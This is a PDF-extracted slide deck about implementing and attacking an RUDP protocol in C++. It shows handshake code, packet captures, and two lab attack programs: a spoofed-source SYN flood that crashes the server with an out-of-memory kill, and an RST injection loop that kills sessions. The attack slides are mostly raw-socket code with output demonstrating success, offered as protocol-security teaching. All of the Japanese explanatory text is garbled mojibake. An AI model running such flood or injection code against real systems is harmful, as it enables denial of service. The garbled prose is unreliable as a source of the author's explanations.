    0 16 32 ઀ଓݩ͕มΘͬͨΫϥΠΞϯτ͕ Ҏલͷηογϣϯͷ࠶։Λαʔόʹཁٻ͢Δͷʹ༻͍ΒΕΔ ίωΫγϣϯࣝผࢠʹϋϯυγΣΠΫ࣌ͱಉ͡஋Λࢦఆ͢Δ γʔέϯε൪߸͸ཚ਺Ͱ࡞Γ௚͠ ݩͷγʔέϯε൪߸ͱͷࠩΛγʔέϯε൪߸ิਖ਼ྔʹॻ͍ͯૹΔ
  35. void connect( const std::function< void( bool, uint32_t ) > &cb

    ) { client = true; send( generate_syn( false ), false, [this,this_=shared_from_this(),cb]( bool status ) { cb( status, self_config.connection_identifier ); } ); } buffer_ptr_t generate_syn( bool ack ) { buffer_ptr_t buffer( new buffer_t( 28 ) ); (*buffer)[ 0 ] = ack ? 0xC0 : 0x80; (*buffer)[ 1 ] = 28; self_config.dump( std::next( buffer->data(), 4 ), std::next( buffer->data(), 26 ) ); return buffer; } ΫϥΠΞϯτ͸SYNηάϝϯτΛ࡞ͬͯαʔόʹ౤͛Δ
  36. void receive() { buffer_ptr_t data( new buffer_t( buffer_size ) );

    using boost::asio::ip::udp; std::shared_ptr< udp::endpoint > from( new udp::endpoint() ); socket.async_receive_from( boost::asio::buffer( data->data(), data->size() ), *from, [this,data,from]( const boost::system::error_code& error, size_t size ) { if( likely( !error ) ) { data->resize( size ); receive(); auto &sess = sessions[ *from ]; if( !sess && is_syn( *data ) ) { sess.reset( new session( io_service, socket, *from, [this]( const boost::asio::ip::udp::endpoint &endpoint ) { auto s = sessions.find( endpoint ); if( s != sessions.end() ) { session_bindings.erase( s->second->get_self_config().connection_identifier ); sessions.erase( s ); } } ) ); session_bindings.insert( std::make_pair( sess->get_self_config().connection_identifier, *from ) ); } αʔό͸SYNΛड͚औͬͨΒ৽͍͠ηογϣϯΛ࡞Δ
  37. if( !check_common_header( incoming ) ) throw invalid_packet(); const auto header_size

    = (*incoming)[ 1 ]; if( header_size > incoming->size() ) throw invalid_packet(); if( header_size < 4 ) throw invalid_packet(); uint16_t expected_sum; from_be16( std::next( incoming->data(), header_size - 2 ), expected_sum ); to_be16( std::next( incoming->data(), header_size - 2 ), 0 ); const auto sum = checksum( incoming->data(), std::next( incoming->data(), chk ? incoming- >size() : header_size ) ); if( expected_sum != sum ) throw invalid_packet(); const uint8_t sequence_number = (*incoming)[ 2 ]; if( ack && !is_valid_sequence_number( (*incoming)[ 3 ] ) ) throw invalid_packet(); bool has_data = header_size != incoming->size(); if( syn ) { std::fill( receive_buffer.begin(), receive_buffer.end(), buffer_ptr_t() ); receive_head = sequence_number; remote_config = session_config( std::next( incoming->data(), 4 ), std::next( incoming- >data(), header_size - 2 ) ); self_config &= remote_config; remote_config &= self_config; opened = true; } if( receive_buffer[ sequence_number ] ) return; // duplicated receive_buffer[ sequence_number ] = incoming; update_receive_head( received ); std::vector< send_cb_t > cbs; if( ack ) cbs = update_ack( (*incoming)[ 3 ] ); if( syn && !ack ) send( generate_syn( true ), false, []( bool ){} ); ड͚औͬͨSYNͷ஋͕ਖ਼ৗͰνΣοΫαϜ͕߹ͬͨΒ SYN+ACKΛ࡞ͬͯ
  38. receive_buffer[ sequence_number ] = incoming; update_receive_head( received ); std::vector< send_cb_t

    > cbs; if( ack ) cbs = update_ack( (*incoming)[ 3 ] ); if( syn && !ack ) send( generate_syn( true ), false, []( bool ){} ); if( syn && ack ) send( generate_ack(), false, []( bool ){} ); if( has_data || tcs ) increment_cumulative_ack_counter(); if( eak && header_size > 6 ) { auto cbs_ = update_eak( std::next( incoming->begin(), 4 ), std::next( incoming->begin(), header_size - 2 ) ); cbs.insert( cbs.end(), cbs_.begin(), cbs_.end() ); resend( acknowledge_head, *std::next( incoming->begin(), header_size - 3 ) ); } if( nul ) send( generate_ack(), false, []( bool ){} ); if( out_of_sequence_count >= self_config.max_out_of_seq ) { send( generate_eak(), false, []( bool ) {} ); } while( ready_to_send() && !pending.empty() ) { send( pending.front().first, true, pending.front().second ); pending.pop(); } for( auto &cb: cbs ) { cb( true ); } ΫϥΠΞϯτʹૹ৴
  39. template< typename Iterator > void send( Iterator begin, Iterator end,

    const send_cb_t &cb ) { send( generate_ack( begin, end ), false, cb ); } void send( const buffer_ptr_t &incoming, bool resend, const send_cb_t &cb ) { if( !incoming ) { cb( false ); return; } const bool syn = (*incoming)[ 0 ] & 0x80; const bool rst = (*incoming)[ 0 ] & 0x10; const bool nul = (*incoming)[ 0 ] & 0x08; const bool tcs = (*incoming)[ 0 ] & 0x02; std::vector< send_cb_t > cbs; if( !resend && state != session_state::opened && !syn && !tcs ) { cb( false ); return; } if( !ready_to_send() ) { pending.emplace( incoming, cb ); return; } const bool ack = (*incoming)[ 0 ] & 0x40; if( !check_common_header( incoming ) ) throw invalid_packet(); const auto header_size = (*incoming)[ 1 ]; if( header_size > incoming->size() ) throw invalid_packet(); if( header_size < 4 ) throw invalid_packet(); bool has_data = header_size != incoming->size(); ૹΓ͍ͨσʔλ͕͋Δͱ͖͸ACKηάϝϯτΛ࡞ͬͯ
  40. self_config = session_config( std::next( incoming->data(), 4 ), std::next( incoming->data(), header_size

    - 2 ) ); state = session_state::opened; } if( rst ) { state = session_state::closed; } const auto sequence_number = send_head++; if( header_size != incoming->size() ) (*incoming)[ 0 ] = (*incoming)[ 0 ] | 0x04; else (*incoming)[ 0 ] = (*incoming)[ 0 ] & 0xFB; (*incoming)[ 2 ] = sequence_number; if( ack ) (*incoming)[ 3 ] = receive_head - 1; send_buffer[ sequence_number ] = std::make_pair( incoming, cb ); to_be16( std::next( incoming->data(), header_size - 2 ), 0 ); const auto sum = rudp::checksum( incoming->data(), std::next( incoming->data(), incoming- >size() ) ); to_be16( std::next( incoming->data(), header_size - 2 ), sum ); send_packet( incoming, cb ); ++unacknowledged_packet_count; reset_cumulative_ack_counter(); set_null_segment_timer(); if( has_data || nul || rst ) { set_retransmission_timer( sequence_number ); } for( auto &cb: cbs ) { cb( false ); } } γʔέϯε൪߸ͱ֬ೝԠ౴൪߸ͱνΣοΫαϜΛ͚ͭͯ ΫϥΠΞϯτʹૹ৴ͯ͠࠶ૹλΠϚʔΛηοτ
  41. 22:52:05.891012 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 28 0x0000: 4500

    0038 20d2 4000 4011 948f c0a8 0202 E..8..@.@....... 0x0010: c0a8 0201 1f40 1f40 0024 3bd2 801c c400 .....@.@.$;..... 0x0020: 1040 0200 0546 03e8 01f4 03e8 03e8 0320 [email protected].......... 0x0030: 2000 0667 ac01 c127 ...g...' 22:52:05.891283 IP 192.168.2.1.8000 > 192.168.2.2.8000: UDP, length 28 0x0000: 4500 0038 d813 4000 4011 dd4d c0a8 0201 E..8..@[email protected].... 0x0010: c0a8 0202 1f40 1f40 0024 8589 c01c 80c4 .....@.@.$...... 0x0020: 1040 0200 0546 03e8 01f4 03e8 03e8 0320 [email protected].......... 0x0030: 2000 0ffa 9071 d660 .....q.` 22:52:05.899614 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 6 0x0000: 4500 0022 20d4 4000 4011 94a3 c0a8 0202 E.."..@.@....... 0x0010: c0a8 0201 1f40 1f40 000e 3bfe 4006 c580 .....@.@..;.@... 0x0020: fa78 .x 22:52:05.900717 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 11 0x0000: 4500 0027 20d5 4000 4011 949d c0a8 0202 E..'..@.@....... 0x0010: c0a8 0201 1f40 1f40 0013 3bf4 4406 c680 .....@.@..;.D... 0x0020: cbb1 6162 6364 65 ..abcde 22:52:05.900966 IP 192.168.2.1.8000 > 192.168.2.2.8000: UDP, length 11 0x0000: 4500 0027 d817 4000 4011 dd5a c0a8 0201 E..'..@[email protected].... 0x0010: c0a8 0202 1f40 1f40 0013 8578 4406 81c6 .....@[email protected]... 3wayϋϯυγΣΠΫ SYN SYN+ACK ACK
  42. 22:52:05.900717 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 11 0x0000: 4500

    0027 20d5 4000 4011 949d c0a8 0202 E..'..@.@....... 0x0010: c0a8 0201 1f40 1f40 0013 3bf4 4406 c680 .....@.@..;.D... 0x0020: cbb1 6162 6364 65 ..abcde 22:52:05.900966 IP 192.168.2.1.8000 > 192.168.2.2.8000: UDP, length 11 0x0000: 4500 0027 d817 4000 4011 dd5a c0a8 0201 E..'..@[email protected].... 0x0010: c0a8 0202 1f40 1f40 0013 8578 4406 81c6 .....@[email protected]... 0x0020: 106c 6162 6364 65 .labcde 22:52:06.409821 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 6 0x0000: 4500 0022 21ea 4000 4011 938d c0a8 0202 E.."!.@.@....... 0x0010: c0a8 0201 1f40 1f40 000e 3bfe 4006 c781 .....@.@..;.@... 0x0020: f877 .w 22:52:07.410134 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 6 0x0000: 4500 0022 24be 4000 4011 90b9 c0a8 0202 E.."$.@.@....... 0x0010: c0a8 0201 1f40 1f40 000e 3bfe 4806 c881 .....@.@..;.H... 0x0020: ef77 .w 22:52:07.410306 IP 192.168.2.1.8000 > 192.168.2.2.8000: UDP, length 6 0x0000: 4500 0022 dc94 4000 4011 d8e2 c0a8 0201 E.."..@.@....... 0x0010: c0a8 0202 1f40 1f40 000e 8573 4006 82c8 .....@[email protected]@... 0x0020: 3d31 =1 22:52:08.410689 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 6 σʔλͷૹ৴ͱ֬ೝԠ౴ σʔλૹ৴ σʔλૹ৴ ACK
  43. 0x0010: c0a8 0201 1f40 1f40 000e 3bfe 4006 c781 .....@.@..;.@...

    0x0020: f877 .w 22:52:07.410134 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 6 0x0000: 4500 0022 24be 4000 4011 90b9 c0a8 0202 E.."$.@.@....... 0x0010: c0a8 0201 1f40 1f40 000e 3bfe 4806 c881 .....@.@..;.H... 0x0020: ef77 .w 22:52:07.410306 IP 192.168.2.1.8000 > 192.168.2.2.8000: UDP, length 6 0x0000: 4500 0022 dc94 4000 4011 d8e2 c0a8 0201 E.."..@.@....... 0x0010: c0a8 0202 1f40 1f40 000e 8573 4006 82c8 .....@[email protected]@... 0x0020: 3d31 =1 22:52:08.410689 IP 192.168.2.2.8000 > 192.168.2.1.8000: UDP, length 6 0x0000: 4500 0022 288b 4000 4011 8cec c0a8 0202 E.."(.@.@....... 0x0010: c0a8 0201 1f40 1f40 000e 3bfe 4806 c982 .....@.@..;.H... 0x0020: ee76 .v 22:52:08.410773 IP 192.168.2.1.8000 > 192.168.2.2.8000: UDP, length 6 0x0000: 4500 0022 dd11 4000 4011 d865 c0a8 0201 E.."..@[email protected].... 0x0010: c0a8 0202 1f40 1f40 000e 8573 4006 83c9 .....@[email protected]@... 0x0020: 3c30 <0 ϋʔτϏʔτ NUL ACK NUL ACK
  44. TCPʹ͓͚ΔSYN flood߈ܸ SYN SYN+ACK ઀ଓݩΛِ૷ͯ͠େྔͷSYNΛ౤͛Δ αʔό͸େྔͷηογϣϯΛ࡞Γ ΍͕ͯηογϣϯ͕࡞Εͳ͘ͳΔ SYN SYN SYN

    ϝϞϦ֬อ SYN+ACK ϝϞϦ֬อ SYN+ACK ϝϞϦ֬อ SYN+ACK ϝϞϦ֬อ ߈ܸऀ͸ϨεϙϯεΛݟΕͳ͍͕ ϝϞϦ͸֬อ͞Ε͍ͯΔͷͰ ໰୊ͳ͍
  45. SYN SYN+ACK(ϋογϡ஋) ACK(ϋογϡ஋) 64ඵຖʹมΘΔ஋ͱ ઀ଓݩͱ઀ଓઌΛ ϋογϡʹ͔͚ͯ γʔέϯε൪߸Λ࡞Δ SYN cookie ϝϞϦ֬อ

    ϋογϡΛ֬ೝ αʔό͚͕ͩ࡞ΕΔϋογϡ஋Ͱγʔέϯε൪߸Λ࡞Δ ਖ਼͍͠ϋογϡ஋ͷγʔέϯε൪߸ͷ֬ೝԠ౴͕ฦ͖ͬͯͨ࣌ʹϦιʔεΛ֬อ ઀ଓݩΛ࠮শ͍ͯ͠Δ߈ܸऀ͸ACKΛฦͤͳ͍
  46. RUDPͷ৔߹ 0x80(੍ޚϑϥά) 28(ϔομαΠζ) γʔέϯε൪߸ͷॳظ஋ 0 όʔδϣϯ ༧໿ ֬ೝԠ౴ແ͠Ͱૹͬͯ ྑ͍ηάϝϯτ਺ Φϓγϣϯϑϥά

    ༧໿ ηάϝϯτͷ࠷େαΠζ (όΠτ) ࠶ૹλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ྦྷੵ֬ೝԠ౴λΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) NullηάϝϯτλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) సૹঢ়ଶλΠϚʔͷ଴ͪ࣌ؒ (ϛϦඵ) ࠷େ࠶ૹճ਺ ֬ೝԠ౴Λ ཷΊࠐΜͰྑ͍࠷େ਺ EACKΛૹΔલʹཷΊࠐΉ΂͖ γʔέϯε֎ͷηάϝϯτ਺ ௨৴ΛఘΊΔલʹ ࣗಈϦηοτΛͯ͠ྑ͍ճ਺ ίωΫγϣϯࣝผࢠ্Ґ16bit ίωΫγϣϯࣝผࢠԼҐ16bit νΣοΫαϜ 0 16 32 SYNʹ৭ʑಥͬࠐΈ͗ͯ͢SYN࣌ͷϝϞϦ֬อෆՄආ SYN cookie͸࢖͑ͳ͍
  47. std::array< uint8_t, 28 > syn{ 0x80, 0x1c, 0x21, 0x00, 0x10,

    0x40, 0x02, 0x00, 0x05, 0x46, 0x03, 0xe8, 0x01, 0xf4, 0x75, 0x30, 0x03, 0xe8, 0x03, 0x20, 0x20, 0x00, 0x56, 0x13, 0x1e, 0x7a, 0x30, 0xbb }; for( unsigned int seq = 0; seq != 65536u * 256u; ++seq ) { ip_header->saddr = htonl((10<<24)|seq); ip_header->daddr = htonl((192<<24)|(168<<16)|(2<<8)|1); ip_header->check = 0; std::array< uint8_t, total_pseudo_packet_size > pseudo; std::fill( pseudo.begin(), pseudo.end(), 0 ); auto pseudo_header = reinterpret_cast< pseudo_header_t* >( std::next( pseudo.data(), pseudo_ip_offset ) ); pseudo_header->saddr = ip_header->saddr; pseudo_header->daddr = ip_header->daddr; pseudo_header->protocol = ip_header->protocol; pseudo_header->tot_len = htons( udp_header_size + rudp_header_size ); auto udp_header = reinterpret_cast< udphdr* >( std::next( buf.data(), udp_offset ) );
  48. auto udp_header = reinterpret_cast< udphdr* >( std::next( buf.data(), udp_offset )

    ); udp_header->uh_sport = htons( port ); udp_header->uh_dport = htons( port ); udp_header->uh_ulen = htons( udp_header_size + rudp_header_size ); auto rudp_header = std::next( buf.begin(), rudp_offset ); std::copy( syn.begin(), syn.end(), rudp_header ); udp_header->uh_sum = 0; std::copy( std::next( buf.begin(), udp_offset ), buf.end(), std::next( pseudo.begin(), pseudo_udp_offset ) ); uint16_t c1 = checksum( pseudo.begin(), pseudo.end() ); udp_header->uh_sum = htons( c1 ); ip_header->id = htons( seq ); ip_header->check = 0; uint16_t c0 = checksum( std::next( buf.begin(), ip_offset ), std::next( buf.begin(), ip_offset + ip_header_size ) ); ip_header->check = htons( c0 ); std::string message; if( write( sock, buf.data(), buf.size() ) < 0 ) { std::cout << strerror( errno ) << std::endl; ૹ৴ݩΛ࠮শ͠ͳ͕Β16777216ճSYN͢ΔίʔυΛ༻ҙ
  49. std::copy( syn.begin(), syn.end(), rudp_header ); udp_header->uh_sum = 0; std::copy( std::next(

    buf.begin(), udp_offset ), buf.end(), std::next( pseudo.begin(), pseudo_udp_offset ) ); uint16_t c1 = checksum( pseudo.begin(), pseudo.end() ); udp_header->uh_sum = htons( c1 ); ip_header->id = htons( seq ); ip_header->check = 0; uint16_t c0 = checksum( std::next( buf.begin(), ip_offset ), std::next( buf.begin(), ip_offset + ip_header_size ) ); ip_header->check = htons( c0 ); std::string message; if( write( sock, buf.data(), buf.size() ) < 0 ) { std::cout << strerror( errno ) << std::endl; std::cout << "ૹ৴Ͱ͖ͳ͍ " << bind_result << std::endl; close( sock ); return 1; } } ૹ৴ݩΛ࠮শ͠ͳ͕Β16777216ճSYN͢ΔίʔυΛ༻ҙ
  50. $ ./rudp_server ڧ੍ऴྃ $ $ vmstat -n 1 -S M

    procs -----------memory---------- ---swap-- -----io---- -system-- ------cp r b swpd free inact active si so bi bo in cs us sy id 0 0 466 851 0 28 0 0 4 0 369 365 3 3 95 0 0 466 851 0 28 0 0 20 0 399 439 3 3 94 0 0 466 851 0 28 0 0 104 107 496 540 3 4 93 2 0 466 725 0 28 0 0 20 0 6913 2269 38 61 1 2 0 466 611 0 28 0 0 12 40 6925 2029 38 62 0 2 0 466 504 0 28 0 0 20 0 6727 2252 38 62 0 2 0 466 384 0 28 0 0 8 0 7248 2095 39 61 0 2 0 466 278 0 28 0 0 16 0 6744 2433 37 62 0 3 0 466 153 0 28 0 0 20 0 7505 2278 40 60 0 2 0 466 60 0 18 0 0 272 66 6681 1812 37 63 0 1 4 478 48 0 12 0 11 4124 12745 6051 1882 15 52 3 0 5 488 47 0 15 0 10 6236 11080 5687 2643 12 51 0 3 4 500 47 0 16 0 11 1528 11372 6169 2145 10 43 0 2 1 531 51 0 16 1 32 2836 33304 6200 3253 14 46 0 4 2 602 56 0 12 3 74 5392 76376 10141 4716 18 53 1 2 1 640 49 0 13 2 39 4332 40936 6296 4438 24 60 0 2 1 672 53 0 13 1 34 1452 35072 6182 3755 17 59 1 1 4 699 49 0 14 1 28 2996 30208 7093 4404 18 57 1 2 1 745 50 0 13 2 48 2649 49592 6329 4452 23 61 2 1 2 785 48 0 13 1 40 1784 41832 6214 3967 21 61 0 2 1 828 48 0 13 1 45 1868 46144 6474 3697 19 55 2 1 2 869 48 0 13 1 42 1624 43580 6412 4095 18 59 3 2 1 905 47 0 13 1 38 2132 39000 6479 4594 20 57 4 1 1 949 47 0 13 1 45 1884 46283 7102 4510 19 60 1 1 4 953 51 0 11 0 5 56368 6305 6201 4887 13 56 2 1 3 953 50 0 11 0 0 102552 260 5710 6775 12 59 0 1 3 953 48 0 13 0 0 97716 176 5550 6547 12 59 0 2 1 492 876 0 16 0 0 32632 1160 12142 5625 10 73 2 ෺ੌ͍੎͍ͰϝϞϦΛফඅ # ./syn_flood [11509520.092388] Out of memory: Kill process 7358 (rudp_server) score 667 or sacrifice child [11509520.092397] Killed process 7358 (rudp_server) total-vm:1408308kB, anon-rss:851668kB, file-rss:1628kB, shmem-rss:0kB [11509520.143321] oom_reaper: reaped process 7358 (rudp_server), now anon- rss:0kB, file-rss:0kB, shmem-rss:0kB ϝϞϦΛ࢖͍੾ͬͯ͠·ͬͨ DoS߈ܸ͕੒ཱͯ͠͠·͏ ϋʔτϏʔτִؒ 30ඵͷ৔߹
  51. $ vmstat -n 1 -S M procs -----------memory---------- ---swap-- -----io----

    -system-- ------cpu r b swpd free buff cache si so bi bo in cs us sy id 3 0 62 813 0 90 0 0 1 12 0 1 0 0 99 0 0 62 813 0 90 0 0 0 0 448 463 3 2 95 1 0 62 813 0 90 0 0 0 0 353 373 2 1 97 0 0 62 813 0 90 0 0 0 0 359 414 3 1 96 2 0 62 773 0 90 0 0 0 0 1865 399 11 13 77 2 0 62 667 0 90 0 0 0 0 10135 1846 38 62 0 2 0 62 666 0 90 0 0 0 94 10317 1712 42 58 0 2 0 62 664 0 90 0 0 0 0 11019 2083 42 58 0 2 0 62 664 0 90 0 0 0 4 10214 2400 42 58 0 2 0 62 664 0 90 0 0 0 0 10297 1790 41 59 0 2 0 62 664 0 90 0 0 0 0 10681 2312 42 58 0 2 0 62 664 0 90 0 0 0 0 9743 2057 41 58 0 2 0 62 663 0 90 0 0 0 0 10996 2051 43 58 0 3 0 62 664 0 90 0 0 0 0 10222 1598 43 57 0 2 0 62 664 0 90 0 0 0 0 10392 2268 42 58 1 2 0 62 664 0 90 0 0 4 0 10567 2362 42 58 0 2 0 62 664 0 90 0 0 0 0 9931 2923 41 59 0 2 0 62 664 0 90 0 0 0 0 11327 2306 43 56 0 2 0 62 661 0 90 0 0 0 824 10346 2125 42 59 0 2 0 62 661 0 90 0 0 0 0 10461 2037 42 58 0 3 0 62 661 0 90 0 0 0 0 10076 2178 42 58 0 2 0 62 661 0 90 0 0 0 0 10159 2546 42 58 0 2 0 62 661 0 90 0 0 0 0 10399 2184 41 59 0 2 0 62 661 0 90 0 0 0 0 10354 2583 42 58 0 3 0 62 661 0 90 0 0 0 0 9855 1692 41 58 0 2 0 62 661 0 90 0 0 4 0 11164 2219 43 57 0 2 0 62 661 0 90 0 0 0 0 9582 2419 42 58 0 2 0 62 661 0 90 0 0 0 0 11489 3095 43 56 0 2 0 62 660 0 90 0 0 0 16 10210 2195 42 59 0 ϝϞϦ͸֬อͨ͠୺͔Β ղ์͞Ε͍ͯΔͨΊ ࢖͍੾Βͳ͍ $ ./rudp_client -H 192.168.2.1 closed ͔͠͠CPU͕ߴෛՙͳঢ়گͰ ϋʔτϏʔτͷ଴͕ͪ࣌ؒ୹͍ͱλΠϜΞ΢τ͢Δҝ DoS߈ܸ͕੒ཱͯ͠͠·͏ $ ./rudp_server # ./syn_flood ϋʔτϏʔτִؒ 0.1ඵͷ৔߹
  52. auto ip_header = reinterpret_cast< iphdr* >( std::next( buf.data(), ip_offset )

    ); ip_header->version = 4; ip_header->ihl = 5; ip_header->tot_len = htons( ether_payload_size ); ip_header->ttl = 0x40; ip_header->protocol = 0x11; ip_header->frag_off = htons( 0x02 << 13 ); ip_header->saddr = htonl((192<<24)|(168<<16)|(2<<8)|2); ip_header->daddr = htonl((192<<24)|(168<<16)|(2<<8)|1); uint16_t c0 = checksum( std::next( buf.begin(), ip_offset ), std::next( buf.begin(), ip_offset + ip_header_size ) ); ip_header->check = htons( c0 ); std::array< uint8_t, total_pseudo_packet_size > pseudo; std::fill( pseudo.begin(), pseudo.end(), 0 ); auto pseudo_header = reinterpret_cast< pseudo_header_t* >( std::next( pseudo.data(), pseudo_ip_offset ) ); pseudo_header->saddr = ip_header->saddr; pseudo_header->daddr = ip_header->daddr;
  53. pseudo_header->daddr = ip_header->daddr; pseudo_header->protocol = ip_header->protocol; pseudo_header->tot_len = htons( udp_header_size

    + rudp_header_size ); auto udp_header = reinterpret_cast< udphdr* >( std::next( buf.data(), udp_offset ) ); udp_header->uh_sport = htons( port ); udp_header->uh_dport = htons( port ); udp_header->uh_ulen = htons( udp_header_size + rudp_header_size ); auto rudp_header = std::next( buf.begin(), rudp_offset ); for( unsigned int seq = 0; seq != 256u; ++seq ) { rudp_header[ 0 ] = 0x50; rudp_header[ 1 ] = 0x06; rudp_header[ 2 ] = uint8_t( seq ); rudp_header[ 3 ] = uint8_t( seq - 1 ); karma::generate( std::next( rudp_header, 4 ), karma::big_word, 0x0000 ); uint16_t c2 = checksum( rudp_header, buf.end() ); karma::generate( std::next( rudp_header, 4 ), karma::big_word, c2 ); udp_header->uh_sum = 0; std::copy( std::next( buf.begin(), udp_offset ), buf.end(), RSTηάϝϯτΛγʔέϯε൪߸ΛΠϯΫϦϝϯτ͠ͳ͕Β256ճૹΔ
  54. std::copy( std::next( buf.begin(), udp_offset ), buf.end(), std::next( pseudo.begin(), pseudo_udp_offset )

    ); uint16_t c1 = checksum( pseudo.begin(), pseudo.end() ); udp_header->uh_sum = htons( c1 ); ip_header->id = htons( seq ); ip_header->check = 0; uint16_t c0 = checksum( std::next( buf.begin(), ip_offset ), std::next( buf.begin(), ip_offset + ip_header_size ) ); ip_header->check = htons( c0 ); std::string message; if( write( sock, buf.data(), buf.size() ) < 0 ) { std::cout << strerror( errno ) << std::endl; std::cout << "ૹ৴Ͱ͖ͳ͍ " << bind_result << std::endl; close( sock ); return 1; } } RSTηάϝϯτΛγʔέϯε൪߸ΛΠϯΫϦϝϯτ͠ͳ͕Β256ճૹΔ
  55. $ ./rudp_client -H 192.168.2.1 connected sent received closed injection͕RSTΛڬΜͩࣄʹΑͬͯ RUDPαʔό͕ηογϣϯΛऴྃ͠

    RUDPΫϥΠΞϯτ͕௨৴ෆೳঢ়ଶΛݕ஌ͨ͠ $ ./rudp_server received responded # ./injection
  56. ύϒϦοΫϑϥά γʔέϯε൪߸ ҉߸Խ͞Εͨσʔλ 0 16 32 γʔέϯε൪߸8bitͰShort Header࢖༻͔ͭίωΫγϣϯIDলུ࣌ QUICͷৄࡉͳϔομͱϖΠϩʔυ͸AEADͰ҉߸Խ͞Ε͍ͯΔ ύϒϦοΫϑϥάͱγʔέϯε൪߸͸

    ҉߸Խ͞Εͳ͍͕MACͷର৅ʹؚ·ΕΔ ηογϣϯ։࢝࣌ʹڞ༗ͨ͠伴Λ࣋ͨͳ͍ѱҙ͋Δୈࡾऀ͕ γʔέϯε൪߸Λॻ͖׵͑ͨύέοτΛ࡞Δͱվ᜵͕ݕ஌͞ΕΔ